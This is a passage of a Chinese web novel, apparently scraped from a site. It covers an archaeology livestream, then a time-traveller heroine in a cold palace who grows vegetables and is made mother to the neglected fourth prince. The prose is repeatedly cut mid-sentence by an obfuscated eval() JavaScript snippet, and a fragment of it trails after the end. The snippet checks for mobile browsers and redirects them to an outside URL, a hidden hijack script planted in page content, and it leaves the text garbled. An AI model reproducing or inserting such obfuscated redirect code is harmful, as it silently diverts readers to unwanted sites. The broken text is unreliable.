但是爱嗑cp的人可不管这些,在他们看来,只要没有血缘关系,那就是可以凑到一起,再说了,这两个人一辈子都没有成亲,他们磕着也没有负罪感。 闲聊间,杨教授进了墓,帝王的陵墓精致华丽,美轮美奂,乍看起来和皇宫没什么区别,书房、寝宫一应俱全,大大小小的屋子有十几间,像是主人家有事外出,桌子上备的茶水是为了迎接远道而来的客人。 杨教授拿着手机的手都开始哆嗦起来了:“这是元瓷啊,是当今世界上只剩下三块碎片的元瓷啊。” 他曾经很喜欢瓷器,在知道世界上已经没有完整的元瓷之后,还暗暗心痛过好久,如今他看到大喇喇摆在桌子上的茶具,他敢用人格发誓,这一定就是元瓷。 众人激动的开始联系专家,这要真的是元瓷,那价值可就太高了。 谁知他们激动的太早了,一进书房,里面全部都是千金难求的珍品,许多他们还都不认识,杨教授他们不敢碰这些珍贵玩意儿,哆哆嗦嗦的退了出去。 有人提出了疑问:“这不太符合晋文帝简朴的作风,这些倒更像是留下来展览用的。” 晋文帝的简朴正史上都提到过,他从不奢靡的吃什么山珍海味,盘点他一辈子最爱吃的东西,炸鸡居然高居榜首,被称为精神状态最像现代人的老祖宗。 到现在他们还只是有些怀疑,直到他们发现了晋文帝的手札,上书《朕着潦草的一生》。 看名字就知道,这是晋文帝给自己写的回忆录。 看了手札,许多历史上的未解之谜也得到了他本人的亲自解答。 比如他幼时被害流落凉州,是一只叫胖猫的白虎发现了他,然后喊来了他的养母,那位大晋第一富商,也是摄政王妃,救了他,一开始他说自己是他们的亲儿子,他们居然还真的信了,把名字都记族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281666|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谱上了,后来发现不是亲生的,他仍然是他们的长子,也是唯一的儿子。 “这么说其实有些不严谨,爹娘的长子应该是胖猫,猫大哥才是他们真正意义上养的第一个孩子,我只能排行第二,好在猫大哥的名字没有留在族谱上,百年之后,我可能就是长子了,不过这么想着,还是有些对不起猫大哥,我就求着爹把猫大哥的名字也写在了族谱上,我当弟弟也没关系。” 旁边放着楚家的族谱,有人拿起来看,里面勾勾画画很多,看着内容不少,其实也就三代人,从楚萧的爹开始,到楚怀谦这一代就结束了。 与他们以前接触到规矩正经的族谱不同,他们家的族谱显然随意很多,就像是揣在兜里能随时去改的感觉,上面还真的有胖猫的名字,并且写在楚怀谦的前面,是楚萧和姜令仪夫妇真正意义上的嫡长子。 赵悦满脸憧憬:“摄政王夫妻的思想领先我们几千年啊,那时候就决定不生孩子,养了个老虎当儿子,真羡慕啊。” 晋文帝的手札还在继续:“许多人都在为我爹的后代担忧,我娘快三十岁了还没有怀孕,不少人起了给我爹后院塞人的心思,后来把我爹惹恼了,直接说他在战场上受伤了,以后不可能再有孩子,直接绝了那些人的心思,其实我知道,是我娘不想生孩子,她喜欢小孩儿,但是恐惧生育,为了一个未知的孩子让我娘面对生死的考验,我和我爹都不愿意,没关系,他们的养老不是还有我和猫大哥吗?生不生孩子都一样。” 里面大部分都是在写和摄政王夫妻的生活,直到于敏之他们正式踏入朝堂,有关他们的事情才多了起来。 赵悦整个人都听的入了神:“原来一开始晋文帝还不喜欢于敏之啊,怕他抢了自己母亲的宠爱,后来还是在慢慢相处中才关系变好的,青梅竹马真的好好磕啊。” 里面还记载了一些趣事,最让大学生们感兴趣的,就是有人针对摄政王,直接把手伸到了杂学书院,要知道这个书院可是神人辈出,延续到现在都是许多顶级大学的前身,许多物理化学甚至医学界的前辈都在此书院学习,开创了许多划时代的壮举。 在当时,杂学书院还只是因为它的创始人是摄政王妃而备受关注,那些叛军围住了书院,一开始是想让他们投降,想着一群弱鸡学生没什么战斗力,哪成想他们的轻视给他们招来了灭顶之灾,就一晚上的时间,就被化学院的学生手搓出了半屋子炸弹,没用到一兵一卒,就把这些人全炸的投降了。 晋文帝语重心长:“所以说嘛,知识就是力量,无论时候时候,都不要放弃读书啊。” “那时候的学生可真猛啊,居然能手搓炸弹,搁现在,我都不知道自己做出来的炸弹,是用来炸敌人的还是炸自己呢。” 大学生纷纷点头,表达了对老祖宗的崇拜,还有对自己无能的唾弃。 鉴定专家们来了,杨教授匆匆结尾:“好了,同学们,后续会把今天的一些资料放到官网上的,大家记得关注学校账号就可以了,作为福利,让你们先看一看晋文帝的真实颜值如何。” 紧接着,一副画像出现在了大屏幕上的全家福,楚萧和姜令仪坐在椅子上,胖猫懒洋洋的趴在姜令仪脚边,后面站着的,是四个风格不停的少年,他们看着前方,都扬起了灿烂的笑容。 前方征途漫漫,惟愿诸位,永不停歇。 99. 第 99 章 99 姜令仪是被渴醒的,她感觉自己像是置身在太上老君的炼丹炉里,她迫切的想要睁开眼睛,就算看不到猴哥,也要来杯水喝。 但是睁开眼睛之后,却发现自己躺在一张古香古色的床上,她又安详的闭上了眼睛。 老天,她这是被绑架了吧,就算是被绑架,也好过是穿越了,姜令仪觉得自己真的快崩溃了,甚至觉得还不如让自己发烧烧死算了。 闭眼摆烂了一会儿,她决定自力更生,找点水喝,只是还没爬起来,就又晕了过去。 等在有意识的时候,姜令仪颇有些不知道今夕是何年的感觉,刚刚晕过去的时候,她接收了原主的记忆,也可以说是原主和她的告别。 她说:我就是你,你就是我,不要害怕,好好活着吧。 姜令仪有很多槽想吐,这里不是她想活着就能活下去的地方啊,她刚刚也弄清了自己的处境,功高震主被杀的爹,同样功高震主被杀的师伯,感情很好的师兄弟前后脚共赴黄泉了。 她本来就因为父亲去世而大受打击,后来听说楚将军身死,如安公主殉情,未婚夫楚萧在战场上失踪,才绷不住晕过去了,听她的意思,姜令仪原本是她流落到异世的一魂一魄,现在归位,她才完整。 姜令仪被这一魂一魄的设定雷的嘴角直抽抽,好古早的味道,不过得益于刚刚在回忆里感受到的浓烈的感情,她总算没想着自杀回现代了。 她怕疼,现代的身体也应该咽气儿了,既然侥幸再得了一次生命,总要珍惜自己小命的。 她再次撑起自己的身体,小心翼翼的挪到了桌子边,给自己倒了一杯水,苦涩冰冷的茶水让她精神一振,脑子清醒了不少。 “翠儿?” 姜令仪喊了一声宫女的名字。 没错,她现在开局就是冷宫,她就是吴国皇帝给晋国皇帝送来的礼物,姜尚的女儿啊,不知道有多少人想找到她,吴国皇帝直接把人送到了晋国的皇宫。 姜令仪忍不住笑了一下,吴国皇帝真的是个人才啊。 脸上的笑容还没有落下去,就听到宫女翠儿回来了。 这里是栖霞殿,偌大的宫殿只有一个宫女一个小太监伺候,是一个名副其实的冷宫。 唯一的好消息就是这两个伺候的人都还是半大孩子,而且心眼儿不多,这才被发配到冷宫伺候的。 实心眼儿的孩子也有不好,比如现在,翠儿和小太监小贵子哭丧着一张脸回来了,“咱们就领到了这些,娘娘还病着呢,这可怎么吃啊。” 打开食盒,里面只有一小碟咸菜和几个干硬的馒头,姜令仪叹了一口气:“有锅吗,热一热凑合着吃吧。” 翠儿这才发现姜令仪已经起来了,忙不迭的问:“娘娘,您怎么样了,还难受吗?” 姜令仪自入宫就一直浑浑噩噩的,原本一直伺候她的小玉被吴国皇帝直接杀了,到现在,她竟不知这世上还有没有亲近的人在。 为什么最后是她活下来了呢? 平复了一下心情,姜令仪才回话:“我喝了点水,现在好多了。” 翠儿懊恼的拍了拍自己的脑袋:“我忘了给娘娘烧水了。” “没关系。”姜令仪苍白着一张脸,冲她笑了笑:“喝了冷水反而觉得舒服了一点。” 翠儿和小贵子合力生火烧水,然后把凉馒头热了热,主仆几人就着咸菜吃了些馒头,觉得噎着了就喝口水,多嚼几次,姜令仪还能尝出甜味儿来了。 她安慰自己:“没想到皇宫的馒头比外面的馒头还好吃呢。” 小贵子好奇的问:“外面的馒头不一样吗?” 他很小的时候就被父母卖掉了,然后阴差阳错的进了宫,对外面的事情一点儿也不知道,听到姜令仪说宫外的事情,他明显就很好奇。 姜令仪就跟哄孩子一样,断断续续说了很多外面的事情,不止是小贵子,连翠儿都很向往。 宫女二十五岁就能放出宫,翠儿还有十来年才能出去,她憧憬着自己出宫后的生活,“我想养一只猫,用不着太名贵,街上的狸花猫下崽了我就抱一只来养,嫁个老实能干的丈夫,再生个娃,一辈子平平淡淡就好了。” 姜令仪没有打破她的梦,外面的世界其实也没那么美好,但是有希望总是要好一点的,有了动力,才能在这样琐碎的生活里撑下去。 姜令仪被她的美梦影响着,也打起了精神,至少要解决自己的温饱问题,冷宫里人少地多,他们完全可以种菜自给自足。 “翠儿,小贵子,你们有没有相识的人可以买点种子回来,最好是很快就能长成的菜,咱们在空地上种一点儿。” 翠儿挠头,“我没有相识的人,宫女姐姐们知道我是冷宫里伺候的,虽然不会欺负我,但是也不会帮我的。” 捧高踩低是常态,而且这种现象在宫里更是常态,能不欺负她就已经很好了。 比起宫女们的竞争,其实太监的竞争才更加激烈,翠儿敢说没怎么被欺负过,小贵子整日被欺负就是很平常的事情了。 每天他都要做许多不是自己的活,还得乐呵呵的哥哥长哥哥短的喊那些使唤自己的人,他性子好,和他们相处的倒也不错。 小贵子把事情揽了过来,“不过他们肯定会扣下一些钱的。” 姜令仪表示理解。 她身上没有银子,但是戴的一些首饰没有被拿走,摘下了一只金耳环递给小贵子:“这些够吗?” 小贵子:“只是一些种子,采买的太监出宫的时候捎一些就可以,这些尽够了。” “那就好,找种子的事情就拜托你了,咱们能不能尽快吃上菜就看你的了。” 小贵子深觉自己责任重大,保证道:“没问题,娘娘放心,奴才这就去和相熟的哥哥们打个招呼。” 小贵子的办事速度还是相当快的,第二天种子就到了,还用剩下的钱买了一堆大白菜和一些大米,他不好意思的说:“厨房就白菜便宜,就多买了一点。” 大白菜也很好啊,姜令仪夸他:“至少蔬菜长出来之前咱们不用一直啃馒头了。” 翠儿和小贵子其实已经差不多习惯了,宫里的奴才也是分等级的,有些地位高的奴才,比如皇帝身边近身伺候的,他们的地位比三品大员还要高,所有人都会捧着敬着他们,锦衣玉食都不能形容他们奢靡的生活。 但是更多的还是底层的奴才,他们是最受压迫的那一批,连温饱都是问题。 所以说,在皇宫能看见光鲜亮丽的一面,也能看见饥寒交迫的另一面,这都很正常。 翠儿和小贵子以往也是吃不饱饭,有个馒头啃就不错了,还好现在的主子心善,不会逼着他们去争抢,也不会要他们去御膳房要一些大菜,反而还一直陪着他们啃馒头。 想到这儿,翠儿干劲儿满满的去挖坑种菜了,他们几个都对这么种菜没有概念,小贵子就去跟养花花草草的太监取经去了,顺便还打听些新鲜事儿。 回来之后,跟她们说完了怎么种菜,挖坑要怎么挖,浇水要浇多少,哪种菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337699|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜阴,哪种菜喜阳,他都打听的清清楚楚。 翠儿喜道:“行啊你小贵子,打听的还挺清楚。” 小贵子嘻嘻哈哈的笑,说完正事儿,他开始说打听到的八卦:“听说皇后娘娘仙逝以后,四皇子殿下过的比咱们还惨呢,一天都不一定有一个馒头吃。” 他们好歹馒头能随便拿,吃到撑都没问题。 自从皇后去世,皇上厌弃四皇子之后,宫里谁还不知道四皇子失宠了?恐怕连猫猫狗狗都不稀得去四皇子跟前了,御膳房的人更是糊弄,想起来了就给他送一顿饭,想不起来就算了,反正也不会有人专门为四皇子讨公道。 贵妃娘娘如何正是如日中天的时候,她膝下的两个皇子已经长成了,皇上对她宠爱非凡,贵妃娘娘心善,不去跟四皇子一个孩子计较,但是想依附贵妃的,自然会找一个投路石。 而四皇子,正是他们表忠心的棋子。 所有最近四皇子过的还挺惨的,再怎么说,他也还是个孩子啊,翠儿于心不忍,她之前在皇后面前打翻了茶,是四皇子求了情,她才没被打板子,在她心里,四皇子是一个好人,好人为什么不能有好报呢? 小贵子垂下眼睛,反问道:“咱们谁又过的顺遂呢?” 两人齐齐叹了一口气。 “快来帮我一把。”姜令仪喘着粗气吆喝两人。 娘娘不是说吃完饭要去门口走走消消食吗?怎么这么快就回来了? 虽然疑惑,翠儿还是迎了上来,看到姜令仪抱着的那个孩子,顿时睁大了眼睛。 这不就是刚刚她和小贵子正八卦的四皇子本人吗? 偏偏姜令仪什么都不知道,见她过来,松了一口气,解释道:“刚刚我看他晕倒在外面了,就把他抱回来了。” 她后知后觉的发现翠儿和小贵子的表情都不太对,问:“怎么了?这孩子你们认识?” 当然认识了,翠儿语气复杂:“这是四皇子。” 皇子?皇子怎么会把自己折腾成这个鬼样子了? 不过他现在都晕过去了,三人一起把他抬到了殿内的房间里,看他苍白面色和起皮的嘴唇,小贵子猜测:“四皇子,不会是饿晕了吧?” 几人一愣,好像还真有可能。 姜令仪拿着熬的米汤,一勺一勺的喂给他喝,好像是知道这是救命的东西,他也很配合的吞咽着。 半碗米汤下肚,他的脸色终于看起来没有那么难看了,姜令仪就没有再喂下去。 把他安置在床上,他们几个就继续干自己的活儿去了,压根没有注意到,他们前脚出去,后脚这个孩子就睁开了眼。 杨瞻环顾四周,刚刚他只是脱力倒了下去,也就失去了意识几秒钟,没想到醒来就被一个女人抱走了,不知道怎么想的,他没有出声,任由自己待在这个温暖的怀抱里。 看这摆设,应该是冷宫,他记得这里住的是吴国送来的一个女人? 喝了半碗米汤之后,胃里总算不再火烧火燎的那么难受了,他闭上眼睛准备休息一会儿,没一会儿,就真的睡了过去。 而在不远处的墙头上,一个黑衣男人看着冷宫里忙忙碌碌的几人人,看到姜令仪手忙脚乱的把不小心掉了的种子捡起来,他原本冷冽的气势温和了不少。 看了一会儿,他就转身离去了,皇宫里的侍卫跟看不见他一样,这个黑衣人大白天的在皇宫里也犹如无人之境。 只是风吹起的时候,能明显看到他空荡荡的衣袖。 他没了一只胳膊。 100. 第 100 章 100 等到太阳西斜,没有那么热的时候,姜令仪小心翼翼的在他们挖的坑里浇上了水,翠儿认真数好种子,小贵子再把坑填上土。 接下来,就静等着水灵灵的蔬菜长成了。 看着整整齐齐的一陇地,姜令仪叉了会儿腰,觉得自己太厉害了,以前她只见过自动化的工作,种植、浇水和收获都是有机器来完成的,现在她亲自动手干活,才知道农民的不容易。 她又想,今年夏天这么热,种这点菜还好,他们每天能浇水,外面种的那些地该怎么办呢? 不过这些还轮不到她来担心,而且就算她想做些什么也根本做不成,在冷宫里,她也只能尽量保证自己营养均衡罢了。 而且他们还属于赤贫阶段,就算菜能种出来了,他们还没有吃肉的法子,肉肉肉,没肉吃可怎么活啊? 但是他们现在已经没钱了,姜令仪就剩下了一个耳坠子,其余的首饰她也没有,买肉应该是不太可能的了。 姜令仪长长的叹了一口气。 然后她就被床上睁着眼睛的孩子吓了一跳,“你醒了?” 她本来就是想进来看看他醒了没有,进来了就一直在想自己的事情,完全把自己要干什么忘记了。 姜令仪过去摸了摸他的额头,见他要躲,直接拽了他一把,“没发热,那就没什么问题,现在感觉怎么样?没事儿就赶紧回家吧。” 家? 杨瞻嘲讽的笑了,他还有家吗? 姜令仪已经从翠儿他们口中知道了这孩子的事情,骤然丧母,皇帝爹又对他冷漠,确实还挺惨的。 但是惨归惨,姜令仪也没有办法,她现在还自身难保呢,根本没有能力去同情别人,所以看着他可怜兮兮的的表情,姜令仪只能假装自己没有良心,任由这么一个漂亮孩子心里暗自垂泪。 只是暗自嘲讽了一下的杨瞻根本没想到,自己的沉默会让面前的人联想这么多,他原本想打道回府的,但是看着姜令仪心疼不忍又努力掩饰的样子,他忽然改变了主意。 “咳咳。” 他弯着腰,好像要把肺都咳出来,好不容易平复下来,姜令仪连忙给他端了一杯白水,不过好在是热的。 杨瞻接过来喝了一口,道了声谢,然后说了自己的想法:“娘娘从吴国来,无依无靠,想必您也发现了,在宫里无权无宠的时候,没有银钱傍身是寸步难行的。” 姜令仪下意识点头,不明白他说这个干什么。 杨瞻双手捧着茶盏,眼睛低垂向下看,姜令仪看不清他的眼神,只是觉得这孩子看起来脆弱又可怜。 半晌,杨瞻才说了自己的目的:“我想和娘娘合作。” 姜令仪:“跟我合作?” 她想了一下这个提议可行不可行,她没钱,但是身为四皇子的杨瞻肯定有,但是四皇子现在被皇帝所厌弃,还有其他皇子的母族对他虎视眈眈,她虽然也不得皇帝的眼,但是在宫里就像是一个隐形人,不显眼,也会有人特意为难。 她觉得可行。 “那你出钱,我们出力,争取早早解决温饱问题,实现吃饭自由。” 她已经开始幻想,半个月,或者一个月之后,栖霞宫里绿油油的一片菜地长成,还有鸡鸭成群,这样有肉有菜还有饭的日子真是太美好了。 杨瞻被她朴实的愿望震惊了一下,他本来想的合作,是他们两个联手,一个皇子一个妃嫔结为同盟,他们当然是为了龙椅上的位置,而不只单单是为了吃饱。 但是看着她憧憬又欢喜的样子,杨瞻叹了一口气,算了,先这样吧。 翠儿和小贵子听到这个消息之后,也都表现得很开心,他们只知道,自己以后的肉有着落了。 这一个宫殿三个人,都不是什么有心眼儿的家伙,杨瞻嘴上嫌弃,心里的防备却少了很多。 有杨瞻出钱,小贵子开路,很快他们就吃上了肉,之前紧巴巴的日子给了他们很大的影响,有钱了也都是省着花。 早上自己煮一点粥,配个小咸菜,中午吃的最丰盛,足足有三个菜,晚上就吃一碗面。 杨瞻也时不时来这里吃饭,不用挨饿,他的脸色肉眼可见的好了许多,虽然还是苍白,但是也不至于像病入膏肓的样子了。 有人去跟贵妃说这件事的时候,贵妃涂着鲜红色蔻丹的指尖有一搭没一搭的点在一个花名册上,听了这话,她头也没抬,“不必管他们。” 不过是一个在冷宫的和亲妃子,和一个已经失宠的孩子,贵妃还不屑于去对付他们。 现在的贵妃有两个长成的皇子,还手握宫权,皇帝独宠,这样得势,却也没想着把所有对手都铲除,只要保证他们没有威胁就可以了。 而四皇子和姜令仪这样的组合,在她眼里就是毫无威胁的那类人。 她更在意的,是淑妃和她的三皇子。 淑妃是丞相的侄女,而且还没有出了五服,皇上对丞相很是信重,她的大皇子和二皇子,在朝堂上天然的就落后于三皇子,她没有别的本事,就只能在宫里多为他们争一点怜惜和宠爱。 她要展现给皇上的,就是他们母子三人只能依靠他,如果失去了他,他们只能任人欺凌。 又一婢女急匆匆走来:“娘娘,三皇子和二皇子打起来了。” 一向疼爱孩子的贵妃却没有着急,反而露出了一个笑容,看,这机会不就来了吗? 淑妃和她的称号不太相符,她是一个骄傲明媚的女子,不过比起皇后,她更加拎得清,来到后宫里,她就断了情爱之心,只把皇帝当成了帝王,而不是夫君。 但是人的感情总是不能控制的,如果皇帝对所有人都一样还好,偏偏出现了一个贵妃,凭什么她能得到帝王的真心呢? 淑妃自诩不差贵妃什么,论家世、容貌、才情,她哪一点输给贵妃了? 虽然不服气,淑妃也不会冲动,他们有丞相这个靠山,等皇子们正式步入朝堂,才是他们占优势的时候,现在,她只能忍。 等有人来告诉淑妃两位皇子打架的事情之后,她表现得也很淡定,“走吧,去看看。” 原本只以为是两个孩子打闹不会太严重,来通知他们的宫人看着也不像是太着急,没想到到了皇子们住的地方,已经隐隐传出了哭声。 贵妃脑子一空,要不是有大宫女扶着,她已经腿软摔倒了,“怎么回事?他们在哭什么?” 在宫里是不能随意哭的,更何况是这么大规模的人,贵妃顿时就有了不好的预感。 “皇儿呢?他们在哪里?” 大皇子从偏殿出来扶住了她,悲痛道:“母妃,二弟他……去了。” 尘埃落定,贵妃感觉自己整个人轻飘飘的,周围人的声音完全传不到她耳朵里,她推开了挡着她的人,冲进了屋子里。 里面淑妃和三皇子跪在那里,贵妃进来之后,直冲冲的朝着唯一的床跑过去,近了之后,她忽然不敢掀开床幔。 皇帝走过来握住她一只手,“别看了。” 他这样说,贵妃反而有了勇气,不顾皇帝阻拦,她最终还是掀开了帘子,看到了脸色惨白的二皇子。 贵妃握住他的手,传入手心的凉意仿佛透过身体浸入了她的心脏,还有什么让母亲看到儿子的死亡更残忍的呢? 贵妃终于受不住了,恍惚了一瞬,下一刻,身体就软软倒了下去。 最近宫中风声鹤唳,连处于最边缘的栖霞宫都感受到了最近的不对劲儿,姜令仪觉得他们这些小虾米还是避避风头吧。 “四皇子,最近你就不要回去了,先住在这里吧。” 其实姜令仪一开始是想让他最近别来的,但是想到他不来恐怕会没饭吃,还是住在这里吧。 还有翠儿和小贵子,“你们两个最近也不要出去了,咱们就安安分分的待在这里,别掺和进去就好。” 她拍了板,几个人都没有异议,反正最近他们囤了不少米面,一茬菜也长出来了,有腊肉还有几只老母鸡,缩在这里过一个月都没问题。 翠儿和小贵子是让他们做什么他们就做什么,杨瞻就不行了,他有好多问题想问姜令仪。 “你不好奇发生什么事情了吗?” 姜令仪:“我好奇这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果是后者,那只能说明他小小年纪就心有成算,一个能沉得住气的上位者,才能最终成功,所以现在没有动静才是最好的。 栖霞宫里闭宫七天了,皇帝也查出来不少东西,三皇子是不小心把二皇子推倒的,但是很巧合的是,二皇子身后的护栏是松动的,他倒下去的时候砸烂了护栏,然后掉进了荷花池。 单单掉进荷花池也没什么事情,他们身边多的是奴才救人,但是更巧合的是,二皇子的太阳穴磕到了假山的一块尖锐凸起,所以根本没等人把他救上来,他就没了气息。 得知事情经过的淑妃松了一口气,贵妃却是似哭似笑,所以这是她的皇儿活该吗? 皇帝罚了三皇子三十大板,并且禁足一年,但是不可能让三皇子给二皇子以命赔罪,毕竟三皇子也不会想到,自己那一推会让自己兄长失去性命。 那他们该去怪谁呢? 贵妃面无表情:“那栏杆怎么回事儿?” 为什么栏杆是松动的? 这在皇宫里是根本不可能出现的事情,每天都会有人检查,不可能没发现这里的栏杆松动了。 总管太监大气不敢出,小心回答:“之前检查的小太监发现了,已经报了上去,但是皇后娘娘病重,并没有理会这些事情。” 等贵妃拿了宫权之后,到处都是需要理顺的事情,到现在她还没要去看这些报修的项目呢,所以到底是怨皇后不及时让人修,还是怨她自己没有发现呢? 她该去怨谁呢? 皇帝自然不可能去怪自己的爱妃,一听还有皇后的事情,马上大发雷霆:“那毒妇。” 所有人都下意识降低自己的存在感,怕殃及到了他们。 但是现在皇后都死了,再怎么怨她还有什么用? 淑妃虽然心疼三皇子挨了罚,但是也知道这是他最好的结果了,皇上还愿意罚他,那就说明皇上还没有放弃他。 淑妃深知枕头风的威力,所以绞尽脑汁想让贵妃转移目标,她想恨谁都可以,只要不恨三皇子就行。 她感觉自己的脑子从来没有这么高速运转过,终于,她想起了小太监跟自己提过的一件事。 “皇上,听说四皇子和冷宫里那位走的很近。” 四皇子是皇后的儿子,那就只能母债子偿了,淑妃在心里默默给四皇子说了一声抱歉。 而在栖霞宫里悠然晒着太阳的杨瞻还不知道,他明明就已经听话躲起来了,没想到最后还有他的事情。 真是无妄之灾。 101. 第 101 章 101 接了圣旨的姜令仪和杨瞻都有些始料不及,他们两个,毫无准备的被皇帝凑成了一对母子。 这不止是口头上的意思,皇帝直接把杨瞻记到了姜令仪名下,也就是说,从此以后,姜令仪就是他礼法上的母亲了,他和皇后的母子之情就彻底断了。 姜令仪有些怕这个小少年接受不了,她自己还好,就是被塞了一个儿子而已,虽然她没有什么养孩子的经验,但是之前刷视频也见过,而且他已经过了什么都不懂的年纪,这样的孩子比较好带一点儿吧,应该。 她主要是怕孩子接受不了。 想想吧,要是有一天,有一个突然要让你换一个娘,没有任何商量和缓冲的余地,应该谁也接受不了吧。 但是偏偏杨瞻就能接受良好,除了刚一开始听到圣旨内容的时候他惊讶了一下子,后面他就表现的极为平静。 姜令仪特意出去,给他留了一个安静的空间消化这个消息,杨瞻不由失笑,其实他觉得和那个女人断绝母子关系还挺好的,根本不用这么多小心翼翼的。 杨瞻从来没有跟别人提起过,其实他生而知之,从能睁开眼睛起,他就能听懂周围人在说什么,从小到大的事情他也都记得,所以他知道自己的亲生母亲是一个什么样的人,更知道她为了皇帝一句赞许,是如何丧心病狂的命人给自己下药的。 小时候的杨瞻根本反抗不了,所以他明知自己吃的用的有问题,为了活着,他还是咬牙吃下去了。 一开始他有想过用哭闹和绝食来抗议,没想到只得来冷冷的一句:“既然不想吃,那便饿着吧,这几天不要让他出现在陛下面前了。” 在那一刻,杨瞻深刻的认识到,这个女人从始至终只把自己当成一个工具,她是真的敢把自己饿死的。 不能和疯女人计较,于是杨瞻被迫喝了好几年的药。 等他开始进学之后,他就把皇后送来的吃喝都倒了,宁肯饿上几顿,他也从不吃那些东西,但是不吃没关系,凭皇后对后宫的掌控力度,让他时不时接触药物也是轻而易举的事情,他能躲过一次两次,却躲不过三次四次。 直到皇后去世,杨瞻才能明显感觉到自己的身体虚弱下来了,知道那药的功效,他没有惊慌,反而松了一口气。 他是真的不想没头没脑的就被整死了。 他不是没有想过报复,甚至之前每天支撑他的动力,就是要带着皇宫里所有的人都同归于尽,因为在宫里这么多年,他厌恶透了这里,从小到大,他从来没有在这个冰冷的皇宫里感受到一丝温暖,连亲生父母尚且如此,更何况别人呢? 直到他遇到了和皇宫格格不入的姜令仪,他从翠儿口中知道,有许多小宫女小太监其实都对他心存感激的,只是他们大多都是无足轻重的小人物,根本不可能接近四皇子,也没能力对他提供什么帮助。 或许种地还真的能平心静气,杨瞻只觉得自己心里的戾气已经越来越少了,这个圣旨的到来,他非凡没有排斥,反而生出来一个念头,要是和姜令仪成为母子,一直平平稳稳的生活在冷宫里也不错。 他真心实意的笑了出来。 其实皇帝就是脑子一热下的决定,但是他金口玉言,既然这么说了,那杨瞻和姜令仪的母子关系就定了下来。 贵妃也没有反对,比起在朝中影响力颇大的四皇子外家,一个异国妃子才更让人放心,这样,四皇子才完全没有竞争力了。 二皇子的事情仿佛是一阵风,在皇宫里掀起了点点涟漪,但是没过多久,就又变得风平浪静,看不出一点痕迹了。 楚萧拿着皇宫的线报,冷冷开口:“让他们斗起来吧,都忙起来,就不会有人找她的麻烦了。” “是,主子。” 挥退了手下,楚萧看着纸上的内容,难得有点轻松的看完了姜令仪的生活内容,看来她已经适应了宫里的生活,还种菜养鸡,最近又开始忙着养孩子了。 这样也好,他也能放下心了,毕竟这个世界上,恐怕也只有他们两个人最亲近了。 被惦记着的姜令仪,此时还在和杨瞻相互适应新身份的转变,她能明显感觉到,自从圣旨下来之后,杨瞻对她亲近了很多。 以前是那种对她这个人很疑惑,但是又有点感兴趣的样子,现在就变成了“诶呀这个人怎么这么笨”的恨铁不成钢。 杨瞻不是真的觉得她笨,以姜令仪的知识储备来看,她既会现代的数理化,也能对古代的诗词歌赋信手拈来,好歹活了两辈子了,她现在是一个名副其实的才女。 她只是把控不了人心。 姜令仪对翠儿和小贵子太好了,这种话好,不是施恩给了他们多少东西,而是姜令仪把他们放在了和自己平等的一个位置上,虽然他们两个有身为奴仆的自觉,凡是姜令仪提出的想法,他们从来不会拒绝,而是努力帮她完成。 但是杨瞻冷眼瞧着,这样的平等,慢慢的就会助长这两个人的不甘心,后果如何,现在谁也不知道。 也许他们两个会清楚认识到这份平等的珍贵,也许他们会不满足于现在的身份而努力往上爬,但是这些都是还没有发生的事情,究竟会如何,谁也弄不清楚。 杨瞻私心里也不想她失去了这一份平等心,他喜欢有人和他平等的对话,而不是把他当成一个孩子。 之后,皇子上朝听政,贵妃和淑妃两派的关系已经势如水火了,有着二皇子这个越不过去的坎,他们已经是你死我亡的关系了。 在外面争斗的愈发厉害的时候,栖霞宫还是一如既往的平静,姜令仪教不了杨瞻的四书五经,但是却能教他数理化,这里也有算数,但是比起姜令仪学的,现在的完全就是小儿科。 时不时的还会教他几个小实验,为什么做实验,还是要跟她想起凉州动乱说起。 那个妖道就是利用这些实验引起了动乱,姜令仪想着应该要让他知道其中的原理,至少以后不要被骗。 凉州动乱杨瞻也是知道的,他也知道其中有一个道士很得当地百姓的信任,但是他怎么也想不到,那个道士用的居然是这样的手段。 天下乱象已生,朝堂上居然还在进行党派之争,他们是觉得,所谓的愚民不会对他们造成威胁吗? 杨瞻觉得无聊至极,他已经开始策划出宫的生活了,等着哪天皇宫易主,他和姜令仪就趁乱出宫算了,找一个山清水秀的地方隐居得了。 反正大晋迟早要完。 没多久,就有八百里加急的消息传来,匈奴人攻打过来了。 凉州动乱的百姓是一盘散沙,根本不敌匈奴人,动乱很快就结束了,但是这也意味着,凉州边境马上就失守了。 早朝的时候,难得没有出现派系之争,众大臣都在忧心忡忡的小声交换着情报。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404239|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 